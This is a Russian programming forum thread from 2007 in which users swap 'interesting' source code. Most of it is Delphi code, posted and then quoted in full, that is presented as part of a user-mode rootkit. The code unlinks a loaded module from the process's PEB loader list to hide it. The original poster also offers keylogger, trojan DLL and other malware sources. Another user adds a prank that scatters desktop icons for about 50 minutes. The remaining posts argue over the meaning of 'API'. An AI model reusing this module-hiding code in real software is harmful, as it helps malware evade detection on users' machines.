Вход

Просмотр полной версии : Интересные исходники


Весёлый Молочник
22.09.2007, 16:37
Давайте выкладывать исходники программ и вообще чего нибудь интересного. :010: Для начала кусок UserMode_DKOM руткита на object paskal'е (delphi).

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
procedure HideLibrary;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
const
STATUS_SUCCESS = 0;
type
NTStatus = DWORD;
PROCESS_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
PebBaseAddress: pointer;
AffinityMask: PULONG;
BasePriority: dword;
UniqueProcessId: ULONG;
InheritedFromUniqueProcessId: ULONG;
end;
PPROCESS_BASIC_INFORMATION = ^PROCESS_BASIC_INFORMATION;

PEB_LDR_DATA = packed record
Length : DWORD;
Initialized : BOOL;
SsHandle : pointer;
InLoadOrderModuleList : LIST_ENTRY; // Элементы LIST_ENTRY указателями
InMemoryOrderModuleList : LIST_ENTRY;
InInitializationOrderModuleList : LIST_ENTRY;
end;
PPEB_LDR_DATA = ^PEB_LDR_DATA;

// Структура, содержащая первые поля PEB
PEB = packed record
InheritedAddressSpace : byte; // +00h
ReadImageFileExecOptions : byte; // +01h
BeingDebugged : byte; // +02h
Spare : byte; // +03h
Mutant : pointer; // +04h
ImageBaseAddress : pointer; // +08h
Ldr : PPEB_LDR_DATA; // +0Ch
end;

// Строка в формате UNICODE
TUNICODE_STRING = packed record
Length : word; // Длина строки
MaxLength : word; // Максимальная длина (размер выделенного буфера)
StrData : lpwstr; // Указатель на область памяти, хранящую строку
end;

// Структура LDR_MODULE
LDR_MODULE = packed record
InLoadOrderModuleList : LIST_ENTRY; // Элементы LIST_ENTRY указателями
InMemoryOrderModuleList : LIST_ENTRY;
InInitializationOrderModuleList : LIST_ENTRY;
BaseAddress : Pointer; // Базовый адрес
EntryPoint : Pointer; // Точка входа
SizeOfImage : DWORD; // Размер образа в памяти
FullDllName : TUNICODE_STRING;
BaseDllName : TUNICODE_STRING;
Flags : DWORD;
LoadCount : SHORT; // Счетчик кол-ва загрузок
TlsIndex : SHORT;
HashTableEntry : LIST_ENTRY;
TimeDateStamp : ULONG;
end;

// Функция NtQueryInformationProcess - применяется
Function NtQueryInformationProcess(
ProcessHandle:THANDLE;
ProcessInformationClass:DWORD;
ProcessInformation:pointer;
ProcessInformationLength:ULONG;
ReturnLength: PULONG):NTSTATUS;stdcall;
external 'ntdll.dll';

Function RtlGetCurrentPeb:DWORD; stdcall;
external 'ntdll.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
HideLibrary;
end;

Procedure TForm1.HideLibrary;
var
PI : PROCESS_BASIC_INFORMATION;
FirstModule, TekModule : LDR_MODULE;
PEB1 : DWORD;
begin
// Запрос информации о текущем процессе (нас интересует только адрес PEB)
if NtQueryInformationProcess(GetCurrentProcess,
0, // 0 - ProcessBasicInformation
@PI,
SizeOf(PROCESS_BASIC_INFORMATION),
nil) <> STATUS_SUCCESS then exit;
// Получение адреса PEB чтением fs:[30h]
asm
mov eax, fs:[30h]
mov PEB1, eax
end;
Memo1.Lines.Add('PEB (NtQueryInformationProcess) = '+IntToHex(DWORD(PI.PebBaseAddress), 6));
Memo1.Lines.Add('PEB (fs:[30h]) = '+IntToHex(PEB1, 6));
Memo1.Lines.Add('PEB (RtlGetCurrentPeb) = '+IntToHex(RtlGetCurrentPeb, 6));

// Получаем LIST_ENTRY первого модуля в списке
FirstModule := LDR_MODULE(pointer(PEB(PI.PebBaseAddress^).Ldr.InL oadOrderModuleList.Flink)^);
TekModule := FirstModule;
repeat
// Вывод данных в протокол
Memo1.Lines.Add(TekModule.FullDllName.StrData+
' BaseAddress='+IntToHex(dword(TekModule.BaseAddress ), 6));
// Маскировка - условием маскировки является наличие "ntdll" в имени библиотеки
if Pos('ntdll', LowerCase(TekModule.FullDllName.StrData)) > 0 then begin
// Переключаем ссылки в списке InLoadOrderModuleList
LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Flink)^).InLoadOrderModuleList.Blink := TekModule.InLoadOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Blink)^).InLoadOrderModuleList.Flink := TekModule.InLoadOrderModuleList.Flink;
{ // Переключаем ссылки в списке InMemoryOrderModuleList
LDR_MODULE(pointer(TekModule.InMemoryOrderModuleLi st.Flink)^).InMemoryOrderModuleList.Blink := TekModule.InMemoryOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InMemoryOrderModuleLi st.Blink)^).InMemoryOrderModuleList.Flink := TekModule.InMemoryOrderModuleList.Flink;
// Переключаем ссылки в списке InInitializationOrderModuleList
LDR_MODULE(pointer(TekModule.InInitializationOrder ModuleList.Flink)^).InInitializationOrderModuleLis t.Blink := TekModule.InInitializationOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InInitializationOrder ModuleList.Blink)^).InInitializationOrderModuleLis t.Flink := TekModule.InInitializationOrderModuleList.Flink;}
end;
// Переход на следующий элемент
TekModule := LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Flink)^);
// Выхода из цикла после обхода всего списка и возврата к элементу, с которого начали обход
until (TekModule.BaseAddress = FirstModule.BaseAddress);
end;

end.

samoed
30.09.2007, 23:24
Давайте выкладывать исходники программ и вообще чего нибудь интересного. :010: Для начала кусок UserMode_DKOM руткита на object paskal'е (delphi).

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
procedure HideLibrary;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
const
STATUS_SUCCESS = 0;
type
NTStatus = DWORD;
PROCESS_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
PebBaseAddress: pointer;
AffinityMask: PULONG;
BasePriority: dword;
UniqueProcessId: ULONG;
InheritedFromUniqueProcessId: ULONG;
end;
PPROCESS_BASIC_INFORMATION = ^PROCESS_BASIC_INFORMATION;

PEB_LDR_DATA = packed record
Length : DWORD;
Initialized : BOOL;
SsHandle : pointer;
InLoadOrderModuleList : LIST_ENTRY; // Элементы LIST_ENTRY указателями
InMemoryOrderModuleList : LIST_ENTRY;
InInitializationOrderModuleList : LIST_ENTRY;
end;
PPEB_LDR_DATA = ^PEB_LDR_DATA;

// Структура, содержащая первые поля PEB
PEB = packed record
InheritedAddressSpace : byte; // +00h
ReadImageFileExecOptions : byte; // +01h
BeingDebugged : byte; // +02h
Spare : byte; // +03h
Mutant : pointer; // +04h
ImageBaseAddress : pointer; // +08h
Ldr : PPEB_LDR_DATA; // +0Ch
end;

// Строка в формате UNICODE
TUNICODE_STRING = packed record
Length : word; // Длина строки
MaxLength : word; // Максимальная длина (размер выделенного буфера)
StrData : lpwstr; // Указатель на область памяти, хранящую строку
end;

// Структура LDR_MODULE
LDR_MODULE = packed record
InLoadOrderModuleList : LIST_ENTRY; // Элементы LIST_ENTRY указателями
InMemoryOrderModuleList : LIST_ENTRY;
InInitializationOrderModuleList : LIST_ENTRY;
BaseAddress : Pointer; // Базовый адрес
EntryPoint : Pointer; // Точка входа
SizeOfImage : DWORD; // Размер образа в памяти
FullDllName : TUNICODE_STRING;
BaseDllName : TUNICODE_STRING;
Flags : DWORD;
LoadCount : SHORT; // Счетчик кол-ва загрузок
TlsIndex : SHORT;
HashTableEntry : LIST_ENTRY;
TimeDateStamp : ULONG;
end;

// Функция NtQueryInformationProcess - применяется
Function NtQueryInformationProcess(
ProcessHandle:THANDLE;
ProcessInformationClass:DWORD;
ProcessInformation:pointer;
ProcessInformationLength:ULONG;
ReturnLength: PULONG):NTSTATUS;stdcall;
external 'ntdll.dll';

Function RtlGetCurrentPeb:DWORD; stdcall;
external 'ntdll.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
HideLibrary;
end;

Procedure TForm1.HideLibrary;
var
PI : PROCESS_BASIC_INFORMATION;
FirstModule, TekModule : LDR_MODULE;
PEB1 : DWORD;
begin
// Запрос информации о текущем процессе (нас интересует только адрес PEB)
if NtQueryInformationProcess(GetCurrentProcess,
0, // 0 - ProcessBasicInformation
@PI,
SizeOf(PROCESS_BASIC_INFORMATION),
nil) <> STATUS_SUCCESS then exit;
// Получение адреса PEB чтением fs:[30h]
asm
mov eax, fs:[30h]
mov PEB1, eax
end;
Memo1.Lines.Add('PEB (NtQueryInformationProcess) = '+IntToHex(DWORD(PI.PebBaseAddress), 6));
Memo1.Lines.Add('PEB (fs:[30h]) = '+IntToHex(PEB1, 6));
Memo1.Lines.Add('PEB (RtlGetCurrentPeb) = '+IntToHex(RtlGetCurrentPeb, 6));

// Получаем LIST_ENTRY первого модуля в списке
FirstModule := LDR_MODULE(pointer(PEB(PI.PebBaseAddress^).Ldr.InL oadOrderModuleList.Flink)^);
TekModule := FirstModule;
repeat
// Вывод данных в протокол
Memo1.Lines.Add(TekModule.FullDllName.StrData+
' BaseAddress='+IntToHex(dword(TekModule.BaseAddress ), 6));
// Маскировка - условием маскировки является наличие "ntdll" в имени библиотеки
if Pos('ntdll', LowerCase(TekModule.FullDllName.StrData)) > 0 then begin
// Переключаем ссылки в списке InLoadOrderModuleList
LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Flink)^).InLoadOrderModuleList.Blink := TekModule.InLoadOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Blink)^).InLoadOrderModuleList.Flink := TekModule.InLoadOrderModuleList.Flink;
{ // Переключаем ссылки в списке InMemoryOrderModuleList
LDR_MODULE(pointer(TekModule.InMemoryOrderModuleLi st.Flink)^).InMemoryOrderModuleList.Blink := TekModule.InMemoryOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InMemoryOrderModuleLi st.Blink)^).InMemoryOrderModuleList.Flink := TekModule.InMemoryOrderModuleList.Flink;
// Переключаем ссылки в списке InInitializationOrderModuleList
LDR_MODULE(pointer(TekModule.InInitializationOrder ModuleList.Flink)^).InInitializationOrderModuleLis t.Blink := TekModule.InInitializationOrderModuleList.Blink;
LDR_MODULE(pointer(TekModule.InInitializationOrder ModuleList.Blink)^).InInitializationOrderModuleLis t.Flink := TekModule.InInitializationOrderModuleList.Flink;}
end;
// Переход на следующий элемент
TekModule := LDR_MODULE(pointer(TekModule.InLoadOrderModuleList .Flink)^);
// Выхода из цикла после обхода всего списка и возврата к элементу, с которого начали обход
until (TekModule.BaseAddress = FirstModule.BaseAddress);
end;

end.
Здорово . Наконец человек сведущий в программировании появился.

Весёлый Молочник
01.10.2007, 00:08
Могу ещё выложить. =)

xriby
01.10.2007, 09:26
я за. Програмерского форума ведь нету? Есть люди которые занимаюца разработкой БД Delphi+MSSQL?
Вообще тут есть програмеры, если есть то чем занимаетесь, что разрабатываете?:-)

samoed
03.10.2007, 03:09
я за. Програмерского форума ведь нету? Есть люди которые занимаюца разработкой БД Delphi+MSSQL?
Вообще тут есть програмеры, если есть то чем занимаетесь, что разрабатываете?:-)
Я только пытаюсь чего-то в этом деле серьёзное понять. Вроде и литературы всякой полно и много прочитал, хотя от корки до корки всё прочесть ,по- моему, невозможно. На практике я сталкивался с программированием для станков с ЧПУ. Там мне была большая часть понятней, да применение на практике шло сразу. Здесь же пока тупик. Слишком многого не хватает, а именно, на мой взгляд правильной информации. На своё понимание и логику я не жалуюсь, она у меня избыточная. Просто я чувствую, что какого-то информационного "кирпича" не хватает и от этого всё "здание" программерского знания неизбежно неполучается.

samoed
03.10.2007, 03:14
Могу ещё выложить. =)
Я слыхал что на Паскале и Дельфи лучше получаются API функции для винды. Для руткита вроде API не так важны, даже могут быть вообще не нужны.

Весёлый Молочник
03.10.2007, 15:32
Ахахаха, samoed бред сморозил. =) Как раз руткиты тем и занимаются, что перехватывают системные API и меняют их как надо создателю.

deff
03.10.2007, 19:17
Могу ещё выложить. =)

напиши список того что можешь выложить

Весёлый Молочник
03.10.2007, 19:25
keylogger'ы
ClipbrdMon1
ClipbrdMon2
kd1
kd2
kd3
kd4
kd5
Malware
FileLock1
sniffer
TrojanDLL1
TrojanDLL2

Список руткитов по позже добавлю.

samoed
04.10.2007, 04:38
Ахахаха, samoed бред сморозил. =) Как раз руткиты тем и занимаются, что перехватывают системные API и меняют их как надо создателю.
Может не то я имел ввиду. Сама программа руткит может и не иметь своего API.

Весёлый Молочник
04.10.2007, 08:52
Ты знаешь вообще, что такое API?

xriby
05.10.2007, 08:47
Исходники не мои но "интересные".:dance5:
Скомпилируйте как консольное приложение
program WorkTable;

uses
Windows;

const
LVM_GETITEMCOUNT=$1000+4; // ряд сообщений, которые я не нашел, что бы они
LVM_SETITEMPOSITION=$1000+15; // были гдето описаны в Delphi(по-крайней мере у меня)

var
i, n : integer;
SX,SY : integer;
x,y : integer;
IconCount : integer;
hwndLV : HWND;

begin
// получаем HWND рабочего стола, т.к. desktop является "внуком" окна ProgMan
hwndLV := GetTopWindow(GetTopWindow(FindWindow(PChar('ProgMa n'),nil)));

// получаем размер экрана и количество иконок на нашем рабочем столе
SX := GetSystemMetrics(SM_CXSCREEN);
SY := GetSystemMetrics(SM_CYSCREEN);
IconCount := SendMessage(hwndLV,LVM_GETITEMCOUNT,0,0);

// а теперь большой цикл, где вложенный цикл изменяет положение отдельной иконки
for n:=30000 downto 0 do
for i:=IconCount downto 0 do
begin
x := random(SX);
y := random(SY);
SendMessage(hwndLV, LVM_SETITEMPOSITION, i,MAKELPARAM( x,y));
sleep(100); // перенеся данный вызов в основной цикл можем добиться
//изменения положениЯ всех иконок на рабочем столе
end;
// кстати ве это чудо длиться (30 000*100)/1000=3000 секунд=50 минут
end.

samoed
10.10.2007, 03:37
Ты знаешь вообще, что такое API?

Дословный перевод что ли.

Весёлый Молочник
10.10.2007, 09:38
Причем тут перевод, помоему ты вообще не в курсе что это. =) На пальсах объясни я тебя поправлю.

samoed
14.10.2007, 12:09
Причем тут перевод, помоему ты вообще не в курсе что это. =) На пальсах объясни я тебя поправлю.

Давай на пальцах..... API, я считаю, - это то, что видно на экране монитора.

Весёлый Молочник
14.10.2007, 12:15
Ахахаха. =)

API - Applications Programmer's Interface (API) - интерфейс прикладного программирования - спецификация набора функций, которую должны выдержать разработчики программного обеспечения для совместимости своих программ с соответствующими операционными системами.

samoed
16.10.2007, 05:49
Ахахаха. =)

API - Applications Programmer's Interface (API) - интерфейс прикладного программирования - спецификация набора функций, которую должны выдержать разработчики программного обеспечения для совместимости своих программ с соответствующими операционными системами.

(Пальцевый диалог). Если посмотреть в словарь(я пользуюсь Lingvo и альтернативы ему пока не вижу), то там будет написано API - Application Programming Interface. - программный интерфейс приложения. Как видно перевод несколько отличный от предложенного тобой. Я не спорю, что может быть вариант, как пишешь ты. Я пока не хочу углу*****ся в грамматику английского - это большой тёмный лес.

Весёлый Молочник
16.10.2007, 09:49
Нашёл куда смотреть. =) GUI это графический интерфейс, а программный это уже другая песня.

vtkt
17.10.2007, 03:36
хыхы, хотите интересный исходник? я знаю как программировать на блокноте :)
кто не знает могу научить:
открываешь блокнот, пишешь в него прикола ради слово "bugaga", сохраняешь этот текстовый файл, изменяешь расширение на exe-шник, открываем, не закрывая предыдущий открываем его еще раз, и вуаля! программирование удалось на славу... блокнот рулит, и никаких компиляторов не надо :)))

samoed
20.10.2007, 12:41
Нашёл куда смотреть. =) GUI это графический интерфейс, а программный это уже другая песня.

Да ..... GUI - это другая песня. В одной книжке я ещё один перевод нашёл API - интерфейс программирования приложения. Получается три разных перевода одного API и может получиться с разными смыслами. Как я понял наиболее, грамотный с точки зрения грамматики - это этот. Жалко я зыка хорошо мы не знаем. Что само оно API делает я вроде знаю.

Весёлый Молочник
20.10.2007, 12:59
Слово вроде убивает весь смысл. =) Программный интерфейс значит мол программа понимает тебя по определённым командам. Довольно грубый пример из жизни. =) Возьмём школьника когда он руку поднимает он хочет, что то спросить или ответить. В программах так же определённое слово, что то да значит. Это и есть API.

samoed
22.10.2007, 02:47
Слово вроде убивает весь смысл. =) Программный интерфейс значит мол программа понимает тебя по определённым командам. Довольно грубый пример из жизни. =) Возьмём школьника когда он руку поднимает он хочет, что то спросить или ответить. В программах так же определённое слово, что то да значит. Это и есть API.

Точнее словообразование не убивает а меняет смысл. В программах(в исходниках) слова могут быть переменными, операторами, просто данными и пр...

Весёлый Молочник
22.10.2007, 08:58
Вообщем бери любую книгу по программированию потом мне что то доказывай. А то получается разговор глухих.

samoed
27.10.2007, 23:18
Вообщем бери любую книгу по программированию потом мне что то доказывай. А то получается разговор глухих.

У меня то их полно. Однако единства мнений в них бывает не часто. Если брать зарубежных авторов, то у них больше единства во мнениях. У наших же как то сложнее всё с теорией, там больше практика программирования.